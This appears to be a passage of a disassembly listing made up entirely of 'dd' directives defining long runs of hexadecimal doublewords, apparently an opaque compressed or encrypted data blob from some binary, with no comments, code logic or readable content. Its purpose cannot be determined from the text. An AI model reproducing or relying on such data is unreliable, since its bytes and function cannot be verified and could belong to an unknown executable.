		dd 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h,	1E759546h
		dd 15A9Bh, 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh
		dd 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h,	0C65F49h
		dd 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh
		dd 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h
		dd 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h
		dd 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh
		dd 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h
		dd 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h
		dd 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh
		dd 44CFCCh, 0B94B851Ah,	1452965Bh, 0E6BA5600h, 13505358h
		dd 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h
		dd 37120143h, 3570A985h, 7378F456h, 74160800h, 9CAE0D24h
		dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h,	0C5521ACAh
		dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h
		dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh,	15C500E7h
		dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h
		dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h
		dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h,	0FB876B8Dh
		dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h,	0EF4903E8h
		dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h,	7807431Fh
		dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h
		dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch,	90135D1Dh
		dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h,	28037575h
		dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h
		dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh
		dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh
		dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh,	882FB580h
		dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h
		dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h
		dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh
		dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah
		dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh
		dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h
		dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h
		dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h
		dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h
		dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h,	8045A268h
		dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h
		dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh
		dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h
		dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h
		dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h
		dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh
		dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h,	7E1960Bh
		dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh
		dd 4E1660h, 0BA673021h,	0E52E70A4h, 8CBBE000h, 85340F0Ah
		dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh,	2B27C880h
		dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h
		dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h
		dd 0B057A384h, 972D00E1h, 70895130h, 94900853h,	5C81B800h
		dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h,	0A1F146A9h
		dd 9685502h, 927C86DDh,	0BC210B80h, 563C75FDh, 0C289F3Dh
		dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h
		dd 0B82386D6h, 3ACF28h,	6760C5F0h, 169A310Dh, 0FA4FFF26h
		dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h,	88A0877Bh
		dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h
		dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh
		dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h
		dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh
		dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h
		dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h
		dd 328890Ah, 18452059h,	1DE8F0FBh, 4A7AC7EAh, 80006BF6h
		dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h
		dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h,	0CBD53E13h
		dd 0BA3B009h, 6167DD1h,	404B5A07h, 0C9250C15h, 3910171Eh
		dd 0B56CE140h, 51B7C4h,	6348921Eh, 82A5083Dh, 8014773Ch
		dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh
		dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh
		dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch
		dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h,	37568D80h
		dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh
		dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h
		dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h
		dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h
		dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh
		dd 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h,	17003A8Ch
		dd 28262CB8h, 0A0BD98h,	0BC07C341h, 84CC501Ah, 9CDB4E00h
		dd 635EAFE9h, 2E47AE3h,	0C95A8A26h, 70C3ED7Fh, 5EC0CB98h
		dd 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h,	586179F5h
		dd 2008DBDh, 898F0C6Dh,	0FC002938h, 4F63CE5Eh, 0A32630h
		dd 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h
		dd 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h,	350304CCh
		dd 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh
		dd 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h,	80D753E7h
		dd 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h,	0C8D8D707h
		dd 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h
		dd 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h
		dd 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch
		dd 0B05F07EBh, 7800CA2Ch
		dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h,	0B9E5A207h
		dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h,	4C025A8Ch
		dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h,	4A0F7D44h
		dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h
		dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h
		dd 12E0ABBDh, 930C74Ch,	0B1C8CC8Dh, 7645002Ch, 8697E23Fh
		dd 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh
		dd 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh
		dd 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch,	3C1B7BCCh
		dd 7FC1486h, 1CF83101h,	0C21AF052h, 0EA01C1D0h,	0B52C0318h
		dd 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h
		dd 2DAB5612h, 1657824h,	0F85AD836h, 0E43C5EC7h,	0E00B414h
		dd 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h
		dd 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh,	30007958h
		dd 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh
		dd 3CF5F84Ah, 0F513E5h,	1930F2E8h, 488A3C53h, 6A0012FAh
		dd 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h,	6F88C401h
		dd 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h
		dd 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h
		dd 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h
		dd 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h
		dd 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h
		dd 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h,	0C23B3E0Ah
		dd 7BD31080h, 40143B0h,	0EB349A1Eh, 0F8E76783h,	14B3CF60h
		dd 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh
		dd 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h
		dd 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch
		dd 9AA2FF24h, 1F49D85h,	0EB0BE4EAh, 0D0A1154Eh,	0F600DA3Bh
		dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h
		dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h
		dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh,	89F8210Dh
		dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch
		dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch
		dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h,	0F2A5299Fh
		dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h
		dd 5F60FF01h, 70E0609h,	3E4287D8h, 25010215h, 911F6850h
		dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h
		dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h,	15A5B340h
		dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh
		dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h,	0E5197515h
		dd 0F38009D4h, 170880h,	2EAF2695h, 4CA7101Ch, 0EC3C2207h
		dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h
		dd 6BE6AEBCh, 29E00DBh,	0A02174C7h, 0B70B0F1Ah,	80A41840h
		dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h,	34502CBEh
		dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h
		dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h
		dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh
		dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h
		dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h
		dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h
		dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h
		dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h
		dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h,	24E57593h
		dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h,	3F529B00h
		dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h,	0EA73AE00h
		dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh
		dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh
		dd 81D817h, 0B6B2ACF4h,	2B334DCCh, 54B31D06h, 3BC51E0Ch
		dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h,	4930900Ah
		dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h
		dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh
		dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h,	0C0DE2090h
		dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h
		dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh
		dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h
		dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h,	0CE70DD5Ah
		dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h
		dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh
		dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h
		dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h,	0A09F13C3h
		dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch
		dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h,	5EA5008Ah
		dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h
		dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h
		dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h
		dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh
		dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh
		dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h,	21718A23h
		dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h
		dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch,	0A8DBC816h
		dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h
		dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h,	744C8EEh
		dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh,	0BE644AC2h
		dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h
		dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h
		dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h
		dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h,	0E0221E75h
		dd 7542320h, 8A53C379h,	70818027h, 9300B57Ah, 9A61F265h
		dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh
		dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h
		dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h
		dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h
		dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh
		dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h,	0E09FBE70h
		dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h,	89040300h
		dd 18251505h, 310E214h,	84820636h, 0A9309E2h, 0CB30BA3h
		dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh
		dd 5780882Eh, 44A3900h,	53063572h, 0A09DF8BEh, 188A00B8h
		dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh
		dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h,	783B6014h
		dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h,	790101A4h
		dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah
		dd 7FC0AD1Fh, 0EBBC8100h
		dd 7911ABBh, 17410D88h,	8C1E6082h, 29000525h, 2402D6F8h
		dd 0C82D66h, 505553B4h,	22579856h, 0F00FB901h, 612EA2AAh
		dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h
		dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h
		dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h
		dd 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh, 656A8D18h
		dd 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h, 0C43EF101h
		dd 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h, 10F983C3h
		dd 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h
		dd 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh, 0D88A28FBh
		dd 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h,	89FB0714h
		dd 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh,	4A00A284h
		dd 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h, 0F049800h
		dd 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h,	1F046973h
		dd 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h,	0C12FC88Ah
		dd 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h, 373B0D87h
		dd 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h, 0B0AD3800h
		dd 0BD1C01h, 579CFFD4h,	788306C7h, 7208C100h, 8AA0EF30h
		dd 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h,	14CA6AE2h
		dd 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h,	2EFC27D0h
		dd 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h,	64A42201h
		dd 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh, 0EBD38700h
		dd 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h, 30143F00h
		dd 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h, 0DC110D12h
		dd 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh, 961C410Ah
		dd 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h, 8E8BC107h
		dd 31745389h, 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h
		dd 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh
		dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h,	0E8001FD1h
		dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h,	13900085h
		dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh
		dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h,	0E3AD2C03h
		dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h
		dd 527E5411h, 5295800h,	0C4860CDh, 0FAA6005Ch, 0E8AACA81h
		dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h
		dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh
		dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h
		dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h
		dd 2C35943h, 6D316C62h,	8840098Dh, 15017310h, 5203EDF3h
		dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h,	28007560h
		dd 59A66A7Fh, 0C08318h,	4E7EF203h, 0F5FE8111h, 48C07DE0h
		dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h
		dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h
		dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h
		dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh
		dd 7C0C222Fh, 311718Ch,	3546D251h, 0BE02BC0h, 640083C6h
		dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h
		dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h
		dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h
		dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh
		dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h
		dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h
		dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h
		dd 971129Ch, 8D0600C1h,	0A3422E31h, 6500700h, 21BF145Eh
		dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h
		dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h
		dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h
		dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh
		dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h,	868A2411h
		dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h
		dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h
		dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh,	314A2789h
		dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h
		dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh
		dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h,	0A86C9A14h
		dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h
		dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh
		dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h
		dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h
		dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h,	8A3C40D1h
		dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h
		dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h
		dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h,	0AB00E428h
		dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h,	441007C4h
		dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh,	0D190C3h
		dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h
		dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh
		dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h,	5FD73B11h
		dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h
		dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h
		dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh
		dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h
		dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h
		dd 83F2B900h, 2743EC7h,	822F0087h, 2757E181h, 0D900C958h
		dd 0C13BE440h, 1F7726h,	0DD021D6Eh, 0FA18D2CBh,	0BA965307h
		dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h,	0BA754F81h
		dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h,	0F2530094h
		dd 825A5B1h, 970E68B8h,	5E195DEDh, 78CB0E00h, 387225Ah
		dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h
		dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh
		dd 6BC572h, 0C45B18A1h,	58A5DA88h, 95846007h, 0FC0010C6h
		dd 800203h, 0F3E4E938h,	11C9798h, 0C23A8300h, 0C7405674h
		dd 4A9300D4h, 4C35B20h,	48000D7Bh, 0DB2A5E52h, 17A95AAh
		dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h
		dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh
		dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h,	3FF45174h
		dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h,	0F5F20195h
		dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh,	3E9A776h
		dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h
		dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h,	6F936400h
		dd 6D37803h, 20050055h,	2608A11Bh, 44006209h, 9811B34Ch
		dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h
		dd 0AC2EDC8Ah, 789005Eh
		dd 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h,	804893D8h
		dd 875C05Dh, 141FCCD3h,	6C02CA3h, 18F7C62Dh, 1D890017h
		dd 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h
		dd 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h,	5CD24DB3h
		dd 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h
		dd 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h,	0C580DCAAh
		dd 1353925h, 7FE43B7Dh,	7E4F1219h, 60C5AFB0h, 0BD3822C8h
		dd 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h,	33F80154h
		dd 7542252Eh, 344E7095h, 8057900h, 2306A32h, 58700060h
		dd 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh, 36BC002Bh
		dd 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh, 3E79722Dh
		dd 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h, 0DF7126h
		dd 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch, 1A40A9h
		dd 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
		dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
		dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h,	0DB642ED6h
		dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
		dd 7600F6F8h, 199BB82h,	7A75251Ch, 4B0A0F42h, 0C200A7D4h
		dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h,	1AD6482Fh
		dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h,	4142ABh
		dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
		dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
		dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h,	0BE927D33h
		dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h,	749C53E9h
		dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
		dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh,	0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
